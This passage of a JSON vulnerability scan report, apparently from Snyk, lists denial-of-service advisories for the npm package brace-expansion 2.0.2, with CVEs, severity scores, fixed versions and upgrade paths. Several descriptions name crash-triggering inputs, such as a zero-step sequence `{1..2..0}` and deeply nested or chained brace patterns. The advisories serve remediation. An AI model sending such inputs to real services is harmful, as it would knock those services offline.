"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
